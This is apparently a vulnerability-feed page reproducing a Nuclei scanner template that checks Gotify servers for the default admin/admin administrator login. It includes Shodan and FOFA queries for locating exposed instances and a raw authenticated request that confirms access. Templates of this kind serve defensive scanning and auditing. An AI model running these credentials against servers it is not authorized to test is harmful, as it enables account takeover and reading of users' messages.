gotify-default-login: Gotify - Default Login

2026-11-16 PoC Public

Description

Gotify server creates the administrator account admin with the password admin on first start when no user exists, unless the default user settings are changed. An attacker who logs in with these credentials can read all messages, create applications and clients with new tokens, push notifications to every subscribed device and manage users.

Details

Severity
高危
Published
PoC
Public

PoC

id: gotify-default-login

info:
  name: Gotify - Default Login
  author: s4e-io
  severity: high
  description: |
    Gotify server creates the administrator account admin with the password admin on first start when no user exists, unless the default user settings are changed. An attacker who logs in with these credentials can read all messages, create applications and clients with new tokens, push notifications to every subscribed device and manage users.
  reference:
    - https://gotify.net/docs/install
    - https://github.com/gotify/server/blob/v3.1.1/config/config.go
    - https://github.com/gotify/server/blob/v3.1.1/database/database.go
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    vendor: gotify
    product: server
    shodan-query: http.title:"Gotify"
    fofa-query: title="Gotify"
  tags: gotify,default-login,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "<title>Gotify", "content=\"Gotify")'
        condition: and
        internal: true

  - raw:
      - |
        GET /current/user HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ':' + password)}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - admin

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"name\":\"admin\"","\"admin\":true")'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - username + ":" + password
# digest: 4a0a00473045022100f43252e412624e429fe61911c7279e130712d640f4ca4f558c8eeb2f37188b7102200208fa94da28f5817606a464b195727d4b4f231a54f55b2e64aa1030c041b432:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life